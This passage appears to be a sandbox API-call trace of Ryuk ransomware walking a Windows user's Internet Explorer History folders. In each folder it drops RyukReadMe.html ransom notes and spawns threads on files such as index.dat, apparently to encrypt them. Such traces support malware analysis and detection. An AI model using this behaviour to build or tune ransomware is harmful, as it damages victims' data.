	[0218.771] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.772] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0218.772] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0218.772] SetLastError (dwErrCode=0x0) 
	[0218.772] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0218.772] GetLastError () returned 0xb7
	[0218.772] CloseHandle (hObject=0x5c4) returned 1
	[0218.773] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0218.773] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.774] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1da, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0218.774] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x49da51a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1da, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0218.774] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0218.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4
	[0218.777] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0218.778] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5bdddd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 1
	[0218.778] SetLastError (dwErrCode=0x0) 
	[0218.778] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0218.779] GetLastError () returned 0x0
	[0218.779] WriteFile (in: hFile=0x6cc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0218.781] CloseHandle (hObject=0x6cc) returned 1
	[0218.782] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1f2, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0218.782] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0218.782] SetLastError (dwErrCode=0x0) 
	[0218.782] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012020010820200109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.782] GetLastError () returned 0x3
	[0218.782] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0218.782] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.782] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5bdddd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 0
	[0218.783] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0218.783] SetLastError (dwErrCode=0x0) 
	[0218.783] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0218.783] GetLastError () returned 0xb7
	[0218.783] CloseHandle (hObject=0x5c4) returned 1
	[0218.783] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0218.784] SetLastError (dwErrCode=0x0) 
	[0218.784] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0218.784] GetLastError () returned 0xb7
	[0218.784] CloseHandle (hObject=0x5c4) returned 1
	[0218.784] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0218.785] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.785] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1da, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0218.785] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0218.785] SetLastError (dwErrCode=0x0) 
	[0218.785] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0218.786] GetLastError () returned 0xb7
	[0218.786] CloseHandle (hObject=0x6cc) returned 1
	[0218.786] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0218.786] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.787] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0218.787] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f0b6db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0b6db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x432daef0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0218.787] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0218.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4
	[0219.324] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.326] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 1
	[0219.326] SetLastError (dwErrCode=0x0) 
	[0219.327] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0219.328] GetLastError () returned 0x0
	[0219.329] WriteFile (in: hFile=0x6d0, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0219.332] CloseHandle (hObject=0x6d0) returned 1
	[0219.332] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1fa, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0219.332] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0219.332] SetLastError (dwErrCode=0x0) 
	[0219.332] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\mshist012017071220170713\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.332] GetLastError () returned 0x3
	[0219.332] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0219.333] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.333] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 0
	[0219.333] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0219.333] SetLastError (dwErrCode=0x0) 
	[0219.333] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0219.334] GetLastError () returned 0xb7
	[0219.334] CloseHandle (hObject=0x6cc) returned 1
	[0219.334] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c55e890, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1da, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0219.334] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c55e890, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1da, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0219.334] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0219.334] SetLastError (dwErrCode=0x0) 
	[0219.335] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0219.335] GetLastError () returned 0xb7
	[0219.335] CloseHandle (hObject=0x5c4) returned 1
	[0219.336] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c5125d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c538730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0219.336] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c5125d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c538730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0219.336] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0219.337] SetLastError (dwErrCode=0x0) 
	[0219.337] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0219.337] GetLastError () returned 0xb7
	[0219.337] CloseHandle (hObject=0x6c8) returned 1
